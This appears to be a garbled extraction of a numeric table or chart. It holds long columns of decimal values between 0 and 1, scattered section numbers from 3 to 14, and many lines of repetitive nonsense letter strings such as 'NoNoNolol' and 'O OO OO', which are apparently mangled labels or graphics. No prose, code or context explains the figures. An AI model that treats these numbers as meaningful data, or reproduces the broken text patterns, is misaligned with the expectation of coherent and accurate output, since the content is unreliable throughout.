.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000
.000000

.000003
.000002
.007195
.000011
.000001

lecNoNoNoloBoloNoNoNoNoNoRololoNoNoNoNoNololololNoNoNoNolNoNolololoNoNoNoNolNololole)

[oNeoNeNoNe]

.000000

.000021
.000031
.000006
.000001
.000001
.000000
.000003
.000000
.000002
.000000
.000001
.000001
.000030
.000003
.000001
.000001
.000001
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
.000000

.000007
.000011
.017429
.000000
.001547
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oNeoNoNoNoNoNoNoNoRoNoholNoNoNolNoNoNoloNoloNoloNoholNoholoNoNolNololNolNolNo)

[eoNoNoNoNoNoNolohoNolNololNololololNe]

.000868
.000000
.000001
.001554
.029329
.078145
.009033
.054193
.000001
.000000
.006756
.011283
.019974
.009477
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001
.000000

3

.479632
.463153
.058951
.981915
.013545
.000003
.000000
.000000
.000003
.000000
.000827
.000002
.000010
.000014
.000001
.000010
.000001
.000000

oNeoNoNoNoNoNoNoNoRoNoholNoNoNoNoNoNoloNoloNoloNololNoholoNolNolNololNolNolNo)

[eoNoNoNoNoNoNoloholNolNololNololelolNe]

.009936
.007143
.009979
.001511
.000000
.000000
.041143
.000000
.010850
.000002
.000000
.000000
.000001
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000

.004280
.984874
.011291
.000004
.000016
.000036
.000001
.000000
.000006
.000002
.000023
.000008
.000000
.000000
.000007
.000000
.000002
.000002

oNeoNoNoNoNoNoNoNoRoNoholoNoNoNoNoNolBoNoloNoloNololNoholoNolNolNololNolNolNo)

[eoNoNoNoNoNoNoloholNolNololNololNelolNe]

.000000
.008798
.000007
.000006
.028051
.097850
.000000
.021065
.000000
.077571
.214666
.000003
.063322
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000
.000000

.042820
.445051
.514023
.000004
.000010
.000138
.000001
.000000
.000000
.000917
.000007
.000006
.000009
.000015
.000000
.000002
.000000
.000015

oNeoNoNoNoNoNoNoNoRoNoholNoNoNoNoNoNolBoNoloNoloNoholNoholNoNolNolNololNolNolNo)

eloNoNoNoNoNoNolNololNolololNolNo]

.000009
.000005
.002544
.000000
.000000
.000000
.008619
.000001
.000000
.000000
.000000
.000000
.046834
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000
.000000

.000003
.000002
.000001
.000011
.000001
.000009
.000005
.000001
.000000
.000000
.000000
.000002
.000001
.000000
.000000

oNeoNoNoNoNoNoNoNoRoNoholNoNoNolNoNoNolBoNoloNoloNoholNohololNoNoNololNolNolNo)

eoNoNoNoNoNoNololololololNolNo]

.000000
.003887
.000000
.001030
.000000
.000000
.000000
.069394
.010181
.000000
.000000
.000000
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
.000000

.000007
.000011
.002202
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000016
.000000
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cholNoNoNoNoNoNoNolololoNoNoNoNoNolololNoloNolNolNolNo]

[eNeoNoNeoloRolNolNoNoNoNolNoNolololNoNoNoNoNolololololNolNolNolNo]

.000001
.000001
.000002
.000001
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001
.000000

4

.484887
.456162
.060662
.956551
.014054
.000003
.000000
.000000
.000006
.000000
.000001
.000003
.000011
.000017
.000001
.000012
.000001
.000000
.000002
.000002
.000003
.000001
.000000
.995616
.000368
.000015
.000000
.000000

cholNoNoNoNoNoNoNolololoNoNoNoNoNolololNoloNolNolNolNo]

[eNeoNoNeoloRololNoNoNoNolNoNololBolNoNoNoNoNolololololNolNolNolNo]

.000000
.000000
.000001
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000

.003779
.984930
.012591
.000004
.008883
.000136
.000001
.000000
.000008
.000003
.000003
.000015
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000
.000012
.000112
.000374
.000001
.000000

clolNoNoNoNoNoNoNolololoNoNoNoNoNolololNoloNolNolNolNo]

[eNeoNoNeoloRololNoNoNoNolNoNoloRolNoNoNoNoNolololololNolNolNolNo]

.000020
.000001
.000116
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000
.000000

.042544
.443433
.518305
.000004
.005613
.000134
.000001
.000000
.000000
.000002
.001096
.000006
.000011
.000016
.000000
.000003
.000000
.000018
.000057
.000001
.000882
.000000
.000000
.000006
.000096
.000469
.000000
.000000

cholNoNoNoNoNoNoNolololoNoNoNoNoNolololNoloNolNolNolNo]

eNeoNoNoloRololNoNoNoNoNoNololoBoNoNoNoNoNolNololelNe]

.000000
.000000
.000005
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000
.000000

.000003
.000002
.000001
.000011
.000001
.000009
.000005
.000002
.000000
.000000
.000000
.001398
.000001
.000000
.000000
.000000
.000000
.000087
.000000
.000000
.000009
.000007
.000001
.000013
.000001

cholNoNoNoNoNoNoNolololoNoNoNoNoNolololNoloNolNolNolNo]

eNeoNoNoloRololNoNoNoNoNoNololoBoNoNoNoNoNolNololelNe]

.000000
.000000
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
.000000

.010861
.000011
.000004
.000000
.000001
.000000
.000001
.000000
.000009
.000000
.000000
.000000
.000015
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
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oleoNoNoNoNoNololNololololNelNolNe]

[eoNoNoNoNoNoNolololoNoloNoBoNololNololNoNoNoNoNolNolNolNoloNoBoNololNololNololNolNo)

.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001
.000000

5

.453462
.485875
.065348
.966376
.012748
.001735
.000000
.000000
.000003
.000000
.000001
.000002
.000010
.000014
.000001
.000011
.000001
.000000
.000002
.000002
.000003
.000001
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000

oleoNoNoNoNoNololNololololNelNolNe]

[eoNoNoNoNoNoNolololoNoloNoBoNololNololNolNolNoNoNololNolNololNoBoNololNololNololNeolNo)

.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000

.003717
.983691
.166327
.000004
.000016
.011305
.000001
.000000
.000006
.000002
.000002
.000011
.000000
.000000
.000007
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002

O OO OO OO0 OOOOoOOooOo

[eoNoNoNoNoNoNolololoNololNoloNololNololNoNoNoNoNolNolNolNololNoBoNololNololNololNeolNo)

.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000
.000000

.041417
.440279
. 715663
.000004
.006760
.000138
.000001
.000000
.000000
.000002
.000007
.000006
.000009
.000014
.000000
.000003
.000000
.000015
.000027
.000005
.000651
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015

eoleoNoNoNoNoNololNololololNelNolNe]

coNoNoBoNoNoNololoolNolBoNoBolNolololNolNolNolNoNolNolNololololNololNeololNolNolNo]

.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000
.000000

.000003
.000002
.000001
.000011
.000001
.000009
.000005
.000001
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000000
.000008
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000

oleoNoNoNoNoNoNolNololololNelNolNe]

coNoNoBoNoNoNololoBolNoloNoBolNololNolNolNoNolNoNolNolNololololNololNeololNolNolNo]

.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
.000000

.000008
.000011
.000003
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000014
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
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[eNeoNoNoloRoloNoNoNoNolNoNolololoNoNoNoNoNololoNololoNoNoNoNoNolNoloNoNoNoNoNolNololololNe] O O O O o

o O O o

.000002
.000001
.000005
.000001
.000000

6

.466189
.468463
.067415
.962828
.000027
.002495
.000000
.000000
.000002
.000000
.000001
.000078
.000010
.000013
.000002
.000010
.000001
.000000
.000001
.000001
.000002
.000001
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001
.000000

7

.451546
.481039
.066403
.969774

[eNeoNoNoloBoloNoNoNoNoNoNolololoNoNoNoNoNolNoloNololoNoNoNoNoNoNololoNoNoNoNolNololololNe] O O O O o

o O O o

.000000
.000000
.000001
.000000
.000000

.003529
.830144
.015251
.000004
.008067
.014974
.000001
.000000
.000005
.000002
.000002
.000007
.000000
.000000
.000007
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000

.004263
.980485
.017363
.000005

[eNeoNoNoloRoloNoNoNoNoNoNololBoloNoNoNoNoNolNoloNololoNoNoNoNolNoNololNoNoNoNolNolNololololNe O O O O o

o O O o

.000022
.000002
.002553
.000000
.000000

.016598
.267738
.523858
.000005
.000012
.000108
.000001
.000000
.000000
.000002
.000007
.000006
.000009
.000013
.000000
.000002
.000000
.000013
.000027
.001303
.000170
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000
.000000

.040901
.435241
.523053
.012653

O O O O o

lcNeoNoNoBoBololNoNoNoNoNoNolololNoNoNoNoNoNololololNoNoNoNoNolololNolNoNoNolNolNolNolloll o]

.000000
.000001
.000006
.000000
.000000

.009699
.000002
.000001
.000011
.000001
.000009
.000005
.000001
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000000
.000006
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000
.000000

.000003

O O O O o

lcNoNoNoloBololNoNoNoNoNoNolololoNoNoNoNoNolololNolNoNoNoNoNolololNolNoNoNolNolNolN ool o]

.000000
.000000
.000000
.000000
.000000

.000007
.000012
.000003
.000000
.000000
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000012
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
.000000

.001876
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oNeoNoNoNoNoNoRoNoBolNololNololNoNoNoNoNoNolNoNoloNoBoNololNolololNoloNolNolNolNeolNolNolNo)

[eNoNoNoNoNoNoNololololeololNe]

.009635
.000003
.000000
.000000
.000002
.000000
.000001
.000002
.000010
.000012
.000001
.000009
.000001
.000000
.000001
.000001
.000002
.000001
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001
.000000

8

.457780
.475817
.065182
.986205
.000027
.000003
.000000
.000000
.000002
.000000
.000001
.000002
.000010
.000012

oNeoNoNoNoNoNoRoNoBoNoloNololNolNolNoNoNoNoNoNoloNoBoNololNololololNoNoNolNolNeolNolNolNo)

[eNoNoNoNoNoNoNololololNololNe]

.001594
.001852
.000001
.000000
.000005
.000002
.000002
.000006
.000000
.000000
.000006
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000

.004028
.978609
.015957
.002034
.000016
.000042
.000001
.000000
.000005
.000002
.000002
.000006
.000000
.000000

oNeoNoNoNoNoNoRoNoBolNoBoNololNoNoNoNolNoNolNoNoloNoBoNololNolololNoloNolNolNolNeolNolNolNo)

[eoNoNoNoNoNoNololololNeololNe]

.001822
.000145
.000001
.000000
.000000
.000001
.000007
.000006
.000008
.000012
.000000
.000002
.000000
.000012
.000025
.000001
.000419
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000
.000000

.039931
.437016
.521031
.000004
.000012
.000209
.000000
.000000
.000000
.000001
.000007
.000006
.000008
.000012

ocNeoNoNoNoNoNoRoNoBolNoloNololNolNoNolNoNoNolNoNoloNoBoNololNolololNoloNoNolNolNolNoNolNo)

O O O OO0 o oo

.000002
.000001
.000011
.000001
.000009
.000005
.000001
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000000
.000006
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000
.000000

.000003
.000002
.000001
.000011
.000001
.000009
.000005
.000001
.000000
.000000
.000000

ocNeoNoNoNoNoNoRoNoBolNoloNololNolNolNoNolNoNolNoNoloNoBoNololNolololNoloNoNolNolNeolNolNolNo)

OO O OO0 ooOo

.000015
.000003
.000000
.000000
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000012
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
.000000

.000008
.000012
.000003
.000000
.000000
.000000
.000001
.000000
.000001
.000000
.000000
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cNeololoNoNoNoNoNoNololNoNoNoNoNoNoNolololoNoNoNoNolNolololNe)

leNeoNoNoloRolNolNoNoNoNolNoNolololoNoNoNolNolololNelNe)

.000001
.000009
.000001
.000000
.000001
.000001
.000002
.000001
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001
.000000

9

.460878
.473940
.063718
.987805
.000028
.000003
.000000
.000000
.000002
.000000
.000001
.000002
.000009
.000012
.000001
.000010
.000001
.000000
.000001
.000001
.000002
.000001
.000000
.995616

cNeololoNoNoNoNoNoNololoNoNoNoNoNoNolololoNoNoNoNolNolololNe

leNeoNoNoloRolNolNoNoNoNolNoNoRololoNoNoNoNololNolNelNe)

.000007
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000

.004626
.979417
.030293
.000005
.000022
.000044
.000001
.000000
.000004
.000002
.000002
.000006
.000000
.000000
.000006
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000
.000012

cNeololoNoNoNoNoNoNololoNoNoNoNoNoNolololoNoNoNoNolNolololNe)

leNeoNoNoloRolNolNoNoNoNoNoNolololoNoNoNolNololNolNelNe)

.000000
.000002
.000000
.000012
.000022
.000001
.000165
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000
.000000

.040568
.438401
.557693
.000004
.004948
.000167
.000000
.000000
.000000
.000002
.000007
.000006
.000007
.000012
.000000
.000002
.000000
.000012
.000022
.000001
.000193
.000000
.000000
.000006

cNeolBoloNoNoNoNoNoNololoNoNoNoNoNoNolololoNoNoNoNolNolololNe

cNeoNoNoloRoloNoNoNoNoNoNolololNolNolNolNolNolNo]

.000002
.000001
.000000
.000000
.000000
.000000
.011067
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000
.000000

.000003
.000002
.000001
.000010
.000001
.000009
.000005
.000001
.000000
.000000
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000025
.000000
.000000
.000009

cleololoNoNoNoNoNoNololoNoNoNoNoNoNolololoNoNoNoNolNolololNe

ocNeoNoNoloRoloNoNoNoNoNoNolololNolNolNolNolNolNo]

.000000
.000011
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
.000000

.000007
.001801
.000002
.000000
.000000
.000000
.000001
.000000
.004755
.000000
.000000
.000000
.000011
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000042

125



olNeoNoNoNoNoNoBoNoloNololNololololNelNolNo]

eNoNeoNoNoNoNoNololoBolNoloNoloNolololNolNoNolNoNoNolNolololNolNolNolNelololNo)

.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001
.000000

10

.454210
.482071
.065364
.945621
.004009
.000003
.000000
.000000
.000002
.000000
.000001
.000002
.000009
.000011
.000001
.000009
.000001
.000000
.000014
.000001
.000002
.000001
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021

oNeoNoNoNoNoNoBoNoolNololNololololNolNolNo]

eNoNeoNoBoNoNoNololoBoNoloNololNolololNolNoNolNoNoNolNololoNolNolNolNelolNolNo)

.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000

.004189
.965518
.020869
.000006
.000026
.045275
.000001
.000000
.000004
.000002
.000002
.000005
.000000
.000000
.000006
.000011
.000002
.000002
.000000
.000000
.000001
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000

oNeoNoNoNoNoNoBoNololNololNololololNolNolNe]

eNoNeoNoBoNoNoNolohoBoNololNoloNolololNolNoNoNoNoNolNololNolNolNolNolNolololNo)

.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000
.000000

.035703
.406604
.532536
.000003
.000012
.000538
.000000
.000000
.000000
.000001
.000007
.000006
.000007
.000012
.000000
.000002
.000000
.000012
.000021
.003491
.000768
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018

oNeoNoNoNoNoNoRoNoolNololNololololNelNolNe]

[coNeoNoNoNoNoNololoBoNolBoNoBoNololNololNololNoNolNolNololNololNololNe]

.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000
.000000

.000003
.000002
.000001
.000010
.000001
.000009
.000005
.000001
.000000
.000000
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000019
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000

oNeoNoNoNoNoNoBoNololNololNololololNelNolNe]

[coNeoNoNoNoNoNololoBoNoloNoBoNololNolNolNolololNoNolNololololNolNolNe]

.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
.000000

.000007
.000011
.000002
.000000
.000000
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000011
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
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OO OO OO o oo

[ecNeoNoNoNoRololoNoNoNoNoNolNoBoloNoNolNoNoNoNololololoNoNoNoNoNoNololBolNoNoNolNolNolNolololNe

.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001
.000000

11

.459861
.474775
.065501
.986208
.011214
.000003
.000000
.000000
.000002
.000000
.000001
.000002
.000009
.000011
.000001
.000009
.000001
.000000
.000017
.000001
.000002
.000001
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001
.000000

12

OO OO OO o oo

[eNeoNoNoNoRololoNoNoNoNoNolNoRoloNoNolNoNoNoNololololoNoNoNoNoNolNolololNoNoNolNolNololololNe]

.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000

.005080
.974050
.019443
.000146
.000017
.000050
.000001
.000000
.000004
.000002
.000002
.000005
.000000
.000000
.000006
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000

OO OO OO o oo

[eNeoNoNoNoRololoNoNoNoNoNolNoBolNoNoNolNoNoNoNololBololoNoNoNoNoNolNolololNoNoNolNolNololololNo

.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000
.000000

.038825
.428638
.529057
.000004
.001399
.000177
.000000
.000000
.000000
.000001
.000007
.000006
.000007
.000012
.000000
.000003
.000000
.000011
.000020
.000001
.000554
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000
.000000

OO OO OO o oo

lcNeoNoNoNoRololoNoNoNoNoNoloholNoNoNolNoNoloNolololoNoNoNoNolNololololNoNolNolNolNolNolN o]

.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000
.000000

.000004
.000002
.000001
.000011
.000001
.000009
.000005
.000001
.000000
.000000
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000005
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000
.000000

OO OO OO o oo

lcNoNoNoNoRoRoloNoNoNoNoNoloholNoNoNoNoNolNoNolololoNoNoNoNolNololololNoNolNolNoNolNol o]

.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
.000000

.000007
.000011
.000002
.000000
.000000
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000011
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
.000000
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oNoNoNoNoNoNeoRolNoBolNoNoNoNolNoNolNoNoloNoloNoBolNoloNoNolNolNoloNoloNololNololNololeololNolNolNe]

O O OO OO OoOooo

.455094
.479405
.065916
.977505
.000026
.000003
.000000
.000000
.000002
.000000
.000001
.000002
.000009
.000011
.000001
.000009
.000001
.000000
.000003
.000001
.000002
.000001
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001
.000000

13

.458381
.475703
.065558
.999194
.000027
.000003
.000000
.000000
.000002
.000000

oNeoNoNoNoNoNoRolNoholNoNoNoNolNoNolNoNoloNoNoNoBolNoloNoNolNoNoleoNoloNololNololNololeololNololNo]

O O OO OO OooOooo

.004675
.975882
.025643
.000006
.000019
.019323
.000001
.000000
.000004
.000002
.000002
.000005
.000000
.000000
.000006
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000

.004288
.970068
.024861
.000006
.000021
.000118
.000001
.000000
.000004
.000002

oNoNeoNoNoNoNoRolNololNoNoNoNolNoNoNoNoloNoloNoBolNoloNoNolNoNoloNoloNololNololNololeololNeolNolNe]

O O OO OO OooOooo

.039023
.431920
.540326
.000004
.000013
.000347
.000000
.000000
.000000
.000001
.000007
.000006
.000007
.000011
.000000
.000002
.000000
.000011
.000020
.000001
.000333
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000
.000000

.036749
.422925
.539328
.000004
.000013
.000170
.000000
.000000
.000000
.000002

oNoNeoBoNoNoNeoRolNoBoNohoNoNolNoNolNoNoloNolNoNololNoloNoloNolNoloNololNololNololNololNeollo)

O O OO o oo

.000003
.000003
.000001
.000011
.000001
.000009
.000005
.000001
.000000
.000000
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000011
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000
.000000

.000003
.000003
.000001
.000011
.000001
.000009
.000005

oNoNeoNoNoNoNeoRolNoBolNohoNoNolNoNolNoNoloNolNoNololNoloNoNoNohNoNoNoloNololNoloNololNeolo)

O O OO o oo

.002210
.000013
.000002
.000000
.000000
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000010
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
.000000

.000008
.000011
.000002
.000000
.000000
.000000
.000001
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ocNeoleoBoNoNoNoNoNoNoNoloBolNoNoNoNoNoloBoloNoNoNoNoNoNololololNolNolNo

[eNeoNoNoloRoNoNoNoNoNolololololNoNolNolNolNo]

.000001
.000002
.000009
.000011
.000001
.000009
.000001
.000000
.000010
.000001
.000002
.000001
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001
.000000

14

.458451
.475991
.066242
.971725
.000041
.000003
.000000
.000000
.000002
.000000
.000001
.000002
.000009
.000011
.000001
.000009
.000001
.000000
.000002
.000001

ocNeoloBoNoNoNoNoNoNoBoloBolNoNoNoNoNolNoBololNoNoNoNoNoNololololNolNolNo

[eNeoNoNoloRoNolNoNoNoNolNololololNoNolNolNolNo]

.000002
.000005
.000000
.000000
.000006
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000

.005779
.969360
.026263
.000006
.000022
.023444
.000001
.000000
.000004
.000001
.000002
.000005
.000000
.000000
.000006
.000000
.000002
.000002
.000000
.000000

ocNeoNeoBoNoNoNoNoNoNoBoloBolNoNoNoNoNolNoBoloNoNoNoNoNoNololololNolNolNo

[eNeoNoNoloRoNoNoNoNoNolololololNoNolNolNolNo]

.000007
.000006
.000007
.000011
.000000
.000002
.000000
.000011
.000019
.000001
.000227
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000
.000000

.036999
.423674
.540869
.000872
.001468
.000256
.000000
.000000
.000000
.000001
.000007
.000007
.000007
.000011
.000000
.000002
.000000
.000011
.000019
.000001

ocNeoNoBoNoNoNoNoNoNoBoloBolNoNoNoNoNolNoBoloNoNoNoNoNoNololololNolNolNo

eoNeoNoNoloRololNoNoNoNolNoNolololNolNo

.000001
.000000
.000000
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000005
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000
.000000

.000003
.001756
.000001
.000011
.000001
.000009
.000005
.000001
.000000
.000000
.000000
.000001
.000001
.000000
.000000
.000000
.000000

ocNeoNoBoNoNoNoNoNoNoBoloBolNoNoNoNoNolNolololNoNoNoNoNoNololololNolNolNo

eoNeoNoNoloRolNolNoNoNoNolNoNolololNolNo

.000000
.000001
.000000
.000000
.000000
.000010
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
.000000

.000008
.000011
.000002
.000000
.000000
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000010
.000001
.000000
.000000
.000000
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oNoNeoNoNeoNoNeoRolNoholNololNoNololNolNolNololNololNello]

